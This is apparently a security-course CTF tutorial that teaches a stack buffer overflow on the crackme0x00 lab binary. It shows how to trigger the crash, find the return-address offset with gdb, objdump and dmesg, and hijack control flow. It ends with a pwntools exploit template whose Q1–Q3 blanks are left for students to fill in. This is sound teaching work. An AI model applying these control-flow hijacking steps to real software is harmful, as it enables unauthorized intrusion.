Tut03: Writing Your First Exploit
In this tutorial, you will learn, for the first time, how to write a control-flow hijacking attack that exploits a buffer overflow vulnerability.
Step 0: Triggering a buffer overflow
Do you remember the crackme binaries (and its password)?
# login to the CTF server
# ** check Canvas for login information! **
[host] $ ssh lab03@<ctf-server-address>
$ cd tut03-stackovfl
$ ./crackme0x00
IOLI Crackme Level 0x00
Password:
If you disassemble the binary (it's good time to fire Ghidra!), you may see these code snippet:
$ objdump -M intel-mnemonic -d crackme0x00
...
80486c6: 8d 45 e8 lea eax,[ebp-0x18]
80486c9: 50 push eax
80486ca: 68 31 88 04 08 push 0x8048831
80486cf: e8 ac fd ff ff call 8048480 <scanf@plt>
...
What's the value of 0x8048831?
Yes, %s
, which means the scanf()
function
gets a string as an argument on -0x18(%ebp)
location.
What happens if you inject a long string? Like below.
$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Segmentation fault
Step 1: Understanding crashing state
There are a few ways to check the status of the last segmentation fault:
Note. /tmp/input
should be your secret file under /tmp!
-
running gdb
$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /tmp/input $ gdb ./crackme0x00 > run </tmp/input Starting program: ./crackme0x00 </tmp/input IOLI Crackme Level 0x00 Password: Invalid Password! Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
-
checking logging messages (if you are working on your local machine)
$ dmesg | tail -1 [237413.117757] crackme0x00[353]: segfault at 41414141 ip 0000000041414141 sp 00000000ff92aef0 error 14 in libc-2.24.so[f7578000+1b3000] * NOTE: We disable dmesg for the class. You will be able to run dmesg from your local environment.
Let's figure out which input tainted the instruction pointer.
$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > /tmp/input $ ./crackme0x00 < /tmp/input $ dmesg | tail -1 [238584.915883] crackme0x00[1095]: segfault at 48484848 ip 0000000048484848 sp 00000000ffc32f80 error 14 in libc-2.24.s
What's the current instruction pointer? You might need this help:
$ man ascii
You can also figure out the exact shape of the stack frame by looking at the instructions as well.
$ objdump -M intel-mnemonic -d crackme0x00 ... 0804869d <start>: 804869d: 55 push ebp 804869e: 89 e5 mov ebp,esp 80486a0: 83 ec 18 sub esp,0x18 80486a3: 83 ec 0c sub esp,0xc ... 80486c6: 8d 45 e8 lea eax,[ebp-0x18] 80486c9: 50 push eax 80486ca: 68 31 88 04 08 push 0x8048831 80486cf: e8 ac fd ff ff call 8048480 <scanf@plt> ...
|<-- -0x18-->|+--- ebp top v [ [buf .. ] ][fp][ra] |<---- 0x18+0xc ------>|
0x18 + 4 = 28
, which is exactly the length ofAAAABBBBCCCCDDDDEEEEFFFFGGGG
the followingHHHH
will cover thera
.
Step 2: Hijacking the control flow
In this tutorial, we are going to hijack the control flow of ./crackme0x00
by overwriting the instruction pointer. As a first step, let's make it print
out Password OK :)
without putting the correct password!
80486e3: e8 38 fd ff ff call 8048420 <strcmp@plt>
80486e8: 83 c4 10 add esp,0x10
80486eb: 85 c0 test eax,eax
80486ed: 75 3a jne 8048729 <start+0x8c>
80486ef: 83 ec 0c sub esp,0xc
-> 80486f2: 68 5e 88 04 08 push 0x804885e
80486f7: e8 74 fd ff ff call 8048470 <puts@plt>
...
804872c: 68 92 88 04 08 push 0x8048892
8048731: e8 3a fd ff ff call 8048470 <puts@plt>
8048736: 83 c4 10 add esp,0x10
We are going to jump to 0x80486f2
such that it prints out Password OK :)
.
Which characters in input should be changed to 0x80486f2
? Let me remind you
that x86 is a little-endian machine.
$ hexedit /tmp/input
C-x
will save your modification.
$ cat /tmp/input | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Password OK :)
Segmentation fault
Step 3: Using Python template for exploit
Today's task is to modify a python template for exploitation. Please
edit the provided python script (exploit.py)
to hijack the control
flow of crackme0x00
! Most importantly, please hijack the control flow
to print out your flag in this unreachable code of the binary.
// Your input should be "250381" and "no way you can reach!" at the
// same time! to get the flag.
8048706: 68 4d 88 04 08 push 0x804884d
804870b: 8d 45 f0 lea eax,[ebp-0x10]
804870e: 50 push eax
804870f: e8 0c fd ff ff call 8048420 <strcmp@plt>
8048714: 83 c4 08 add esp,0x8
8048717: 85 c0 test eax,eax
8048719: 75 1c jne 8048737 <start+0x84>
-> 804871b: 68 63 88 04 08 push 0x8048863
8048720: e8 d1 fe ff ff call 80485f6 <print_key>
In this template, we will start utilizing pwntools, which provides a set of libraries and tools to help writing exploits. Although we will cover the detail of pwntool in the next tutorial, you can have a glimpse of how it looks.
#!/usr/bin/env python2
import os
import sys
# import a set of variables/functions from pwntools into own namespace
# for easy accesses
from pwn import *
if __name__ == '__main__':
# p32/64 for 'packing' 32 or 64 bit
# so given an integer, it returns a packed (i.e., encoded) bytestring
assert p32(0x12345678) == b'\x00\x00\x00\x00' # Q1
assert p64(0x12345678) == b'\x00\x00\x00\x00\x00\x00\x00\x00' # Q2
payload = "Q3. your input here"
# launch a process (with no argument)
p = process(["./crackme0x00"])
# send an input payload to the process
p.send(payload + "\n")
# make it interactive, meaning that we can interact with
# the process's input/output (via pseudo terminal)
p.interactive()
To make this exploit working, you have to modify Q1-3 in the template.
If you'd like to practice more, can you make the exploit to gracefully exit the program after hijacking its control multiple times?
[Task] Modify the given template (exploit.py) to hijack the control flow, and print out the key.